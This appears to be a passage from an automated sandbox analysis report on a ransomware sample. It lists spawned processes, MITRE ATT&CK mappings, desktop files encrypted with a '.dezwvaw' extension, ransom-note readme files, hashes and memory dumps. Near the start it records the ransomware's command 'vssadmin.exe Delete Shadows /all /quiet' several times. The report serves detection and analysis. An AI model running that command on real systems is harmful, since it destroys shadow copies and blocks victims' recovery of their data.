C:\Windows\system32\vssvc.exe
1⤵
PID:2328

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2348

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2372

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2432

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\RJD9VUPE.txt

MD5
ee27c199cf5ed1ddb47ccfd35e806b55

SHA1
a7639f653eb8111a85d32ebaf81864e1a4b27424

SHA256
1c3176b3575a1aa2190657f8926a204f219dbb73f91e6ca655a32f724a4607b8

SHA512
7541d607fdd5cf285582e43d1b74c41429d0601c62bf8365fa1b8a29b5d9c3e181bce59929b026a679425220b22e2357980f3b961a7a9ee012ae091f43e5be90

Download Submit
C:\Users\Admin\Desktop\ConvertFromResolve.bmp.dezwvaw

MD5
3750808b2a89029310864d30375cc2d0

SHA1
02303d7c4f2396e1733b4fcb9d8ecd691c74a521

SHA256
8f32053477d59aa6c1ba353190d711fe33971cc6e459cf87714da83ec2da1bea

SHA512
8c243e81fb9c396155726da2930346bcc2c1e1f9e81b378dae2f3967c785dff81f11c0964465e8a6bd67f7bf9ebc5ee9d5e12f0f27308cdea8048c8412bc4d15

Download Submit
C:\Users\Admin\Desktop\GrantFormat.jpg.dezwvaw

MD5
eecc4d9b459520a91b3e73b23084d7eb

SHA1
e56517583f993b2e351efeae36534b88eef9dcc8

SHA256
73ec139ed38badf5d9194b0d8e387a54e10cfb72a8c6e82a8d2ba56de89b8591

SHA512
a005121b255a7a2a40f327a665a2d069bc1ccddd8a7667eade72582fe0eb43f751a064047d39a66e5b0b262801d7156455e15d8fea5d5289491df35d8a732420

Download Submit
C:\Users\Admin\Desktop\ImportUnblock.wav.dezwvaw

MD5
756e06698b1d824c8b7a3b46354617e5

SHA1
6318cad282540e660eea957018569ce4e8c28ca7

SHA256
85337073869a7ba35175501b3be55a3556b2a7e3b8bc2f43e80e98ec97879b2f

SHA512
6aacbc21e37b83a894564275c378ea41f7a0133ce97d00b98fd2b33b8d28d5517bd8037a913ffb1b8b4871870ad5e7491a66b1a0a2768e0af93090cb3b980ecb

Download Submit
C:\Users\Admin\Desktop\LimitAssert.tiff.dezwvaw

MD5
599869b86c651bda0de6cd1685a103a1

SHA1
c714fd18e8414aa6ad79d3e4cc1ea1a64b2c15fb

SHA256
b5f5d7ef34d7447a6bb96b27a42ebbbf85f816eff0bff327a93788be83fbabc2

SHA512
dc7bf36b6f58a8b34df9ab658c84325ee0a807fcea589c96effe07fe94d6643a995e9d22a450c22ac8b444838cc5d586092a093a065576680f004e1d4aadd364

Download Submit
C:\Users\Admin\Desktop\MountStart.xps.dezwvaw

MD5
fbc5478c8d0a0b715ae2790da19045dd

SHA1
148775a40ea50487cb53f6079b77c813ad612531

SHA256
cfdf3fefe24fb18f7d34d22d2f3dfcbdc0db0a45630ad3ba339b2001810a2ddd

SHA512
bcf93d50db2f0b58131377d05c7ec35f02816604c3b2dd61074c0b6611a8d74bba527c0b0bfc1b2129b336d95527f23fc88c5987fbb11a5826b212836b732246

Download Submit
C:\Users\Admin\Desktop\NewOptimize.vsd.dezwvaw

MD5
38f433fe96ef7ed2e17ffc2203780090

SHA1
8af7d7d76dcb7219759dfa6dd738d7fe6ae60336

SHA256
1c1ee5ce00d6e75bdc09d1975df5f272c57d492f5a7d209e826f62d2e4f57c03

SHA512
96b2eb59965882658b8335d94d5d9f11d59e6dcbfbfc01050aa07a632e5bbf16fbd1b5db4bcc68fe435bae65235512b01bde869bc243f71389519cb93fdf6fde

Download Submit
C:\Users\Admin\Desktop\StartPublish.vstm.dezwvaw

MD5
da80fde4a7bea78ea195c1e381f9026f

SHA1
a2e130a6dfd8bab8aef4eee06d0e1b4c72458372

SHA256
7ce12b4a11bb324c868139d9b22fcdeab0461e5f567236d2dc77ec1ea64aa508

SHA512
a9bd59a7f7915109289cc0cbb33ff52f14e8e29dbfe74a14e7d7f495a72de78e7907aa44c53ba4a28ec8213e9c2db85f89312c5932931148956a36c9248dfed7

Download Submit
C:\Users\Admin\Desktop\SuspendConnect.emf.dezwvaw

MD5
79401850836e7dee822fcdb5a811b501

SHA1
03e4682f8672c67c905d8284fa6433c3d1d2ea70

SHA256
74f25626d51f57a7069c0744d7db3dcab2a5a8c7b0337b4d583549d59f124ad4

SHA512
567b026d0438c8ccb6f93cfe46e6dabbbf4907049a712b4ee91f08be4295d84eff9fa1ae346c8c2a45a3fde8078020f90a80e0a707dd29778b1591f239b1630f

Download Submit
C:\Users\Admin\Desktop\SwitchPublish.vb.dezwvaw

MD5
5a86e805d570e2878e49f40390250f2c

SHA1
14880632696f09f1161d367d569034716c47e5fa

SHA256
f2e30c4401ab5c530d753639ce1f0209a4d867bb481e23801b0484b31fb016d5

SHA512
fb798605f3f6314e61fb574ebe487dfd9033e2dc2446ec64cca0f7e9f2187568b785bb3604a3e7f538deb1c908f2365935501d33f645abeebc7648e8deb3e6ed

Download Submit
C:\Users\Admin\Desktop\SyncStart.xlsx.dezwvaw

MD5
c64b72fafe2a24ee49632312ef99c3aa

SHA1
cf672a90e71853bfc10fece90b6c0297b772636e

SHA256
df6451975322e76fb698362052b428da61a63fb25309ff7f2f957311170a2118

SHA512
4f472a1f923899e07a247aa30ca0376c44f82ec315d60cde388c1bf9de50a47f3e0c7d8a89ab88d52793d5f84bc0434a988ae213b6f641772b03a48b0b8ffaf5

Download Submit
C:\Users\Admin\Desktop\SyncTrace.zip.dezwvaw

MD5
c1e05c39196b64d782479dcb4dbd358e

SHA1
7461761ebc0b314c0985c86bed19c449c7c47dec

SHA256
5c99d5c737714f6a29168eff6383861c5affb6f38a131784650d78b1930dd1c6

SHA512
dffe30df4bd18145ad0b0ff9ad3687b89b0c3c165cce34d34eb86bc7e08bb44d0a268f8fd7e914cf99fc11829cac542741bf97281a52b4971bf399e43f85f2aa

Download Submit
C:\Users\Admin\Desktop\UninstallFind.svg.dezwvaw

MD5
992311ecec376a23e8f90c203c4b35b1

SHA1
60d2add64815c71d375e16fe6724a31600a064d4

SHA256
870562aafca13ad1c8fb4538c2ad1ffaa33eb5a00811cfe89219152cabaf82d1

SHA512
a230e4c583f1eb1f6475a47bdfbc97e4371d3e3eabdea0e4bbb8fcc45e4d13fe17d1d57c4eb6197268e0ffb34e718b563624d228a614578679efa4924f976a62

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
a8a62fd6f235dd584f493ec731b643a3

SHA1
182227aaa4e92988b2412ce6dbd0297814370564

SHA256
0b85c287e0003589f5b1b1ec0b8874271c39c0542a9bcf0ece67f3f4241c02a3

SHA512
9c7be171d9eda0dd6866aa4510b33d939de33a406714536861f5b52fa7d7ce2c8c8b662d3a624808ba9d5924b1749051b541c87dae1533b5b7b3e0754d0a80fb

Download Submit
C:\Users\Public\readme.txt

MD5
a8a62fd6f235dd584f493ec731b643a3

SHA1
182227aaa4e92988b2412ce6dbd0297814370564

SHA256
0b85c287e0003589f5b1b1ec0b8874271c39c0542a9bcf0ece67f3f4241c02a3

SHA512
9c7be171d9eda0dd6866aa4510b33d939de33a406714536861f5b52fa7d7ce2c8c8b662d3a624808ba9d5924b1749051b541c87dae1533b5b7b3e0754d0a80fb

Download Submit
memory/552-89-0x0000000000000000-mapping.dmp

Download
memory/608-102-0x0000000000000000-mapping.dmp

Download
memory/800-99-0x0000000000000000-mapping.dmp

Download
memory/892-90-0x0000000000000000-mapping.dmp

Download
memory/1016-87-0x0000000000000000-mapping.dmp

Download
memory/1240-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1240-62-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/1240-61-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1240-64-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/1240-63-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1332-91-0x0000000000000000-mapping.dmp

Download
memory/1500-93-0x0000000000000000-mapping.dmp

Download
memory/1624-94-0x0000000000000000-mapping.dmp

Download
memory/1644-96-0x0000000000000000-mapping.dmp

Download
memory/1648-88-0x0000000000000000-mapping.dmp

Download
memory/1652-92-0x0000000000000000-mapping.dmp

Download
memory/1680-71-0x0000000000000000-mapping.dmp

Download
memory/1684-70-0x0000000000000000-mapping.dmp

Download
memory/1716-66-0x0000000000000000-mapping.dmp

Download
memory/1716-68-0x000007FEFC391000-0x000007FEFC393000-memory.dmp

Filesize
8KB

Download
memory/1848-86-0x0000000000000000-mapping.dmp

Download
memory/1872-95-0x0000000000000000-mapping.dmp

Download
memory/2056-106-0x0000000000000000-mapping.dmp

Download
memory/2064-105-0x0000000000000000-mapping.dmp

Download
memory/2072-103-0x0000000000000000-mapping.dmp

Download
memory/2084-104-0x0000000000000000-mapping.dmp

Download